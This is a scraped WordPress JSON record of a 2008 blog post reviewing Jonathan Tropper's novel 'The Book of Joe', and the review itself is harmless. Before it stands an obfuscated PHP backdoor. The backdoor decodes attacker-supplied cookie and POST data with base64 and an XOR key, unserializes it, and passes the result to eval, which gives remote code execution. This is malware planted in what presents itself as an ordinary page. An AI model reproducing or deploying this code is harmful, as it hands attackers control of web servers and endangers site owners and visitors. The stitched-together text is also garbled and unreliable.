$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":432,"date":"2008-11-08T09:44:09","date_gmt":"2008-11-08T13:44:09","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=432"},"modified":"2008-11-08T09:50:24","modified_gmt":"2008-11-08T13:50:24","slug":"book-review-the-book-of-joe","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=432","title":{"rendered":"Book Review: The Book of Joe"},"content":{"rendered":"

<\/p>I wanted to love \u201cThe Book of Joe<\/a>.\u201d The story sounded perfect for me \u2013 immature guy faces a situation where he desperately needs to grow up. Unfortunately, I couldn\u2019t muster up love for Jonathan Tropper<\/a>\u2018s 2004 novel. I did like it a lot, however.\n

$\"\"$ I somehow read 300-some pages about Joe Goffman, the namesake character, and still knew very little about him. I learned lots of metaphors describing the colors and sounds and smells around Bush Falls, the hometown which hates him because he demonized almost everyone in a novel about his high school days, but I didn\u2019t learn much about Joe.<\/p>\n

One thing I did learn is that he\u2019s stubborn. He won\u2019t give up the hope of re-connecting with his high school love because they are meant to be together regardless of what else happens. He won\u2019t try to get closer to his brother because his brother was a jock like their father and Joe couldn\u2019t care less about basketball, the thread which holds Bush Falls together. He won\u2019t leave his friend Wayne, dying of AIDS, because he feels his characterization of Wayne in his novel contributed to Wayne\u2019s terminal condition.<\/p>\n

The thing is, Joe seems to make decisions about all those situations not because he really cares, but because he needs to be defined by his stubbornness. When the town bully and his brother both tell him to leave town, he stays. The excuse is that Wayne wants to move into Joe\u2019s father\u2019s house to die peacefully, but you just know that\u2019s merely the plot device. Joe would stay anyway because it would bother people, not because it was the right thing to do.<\/p>\n

Even with all this nitpicking, I did enjoy the book a lot. The story contained a bunch of literal laugh-out-loud moments. And you really feel like you know many of the secondary characters. Also, Joe\u2019s journey as a writer through all the tragedies he faces upon his return to Bush Falls rings very true. Tropper does a wonderful job capturing the complicated mind of a writer. I just think he fell short in explaining how that translates to every day life.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"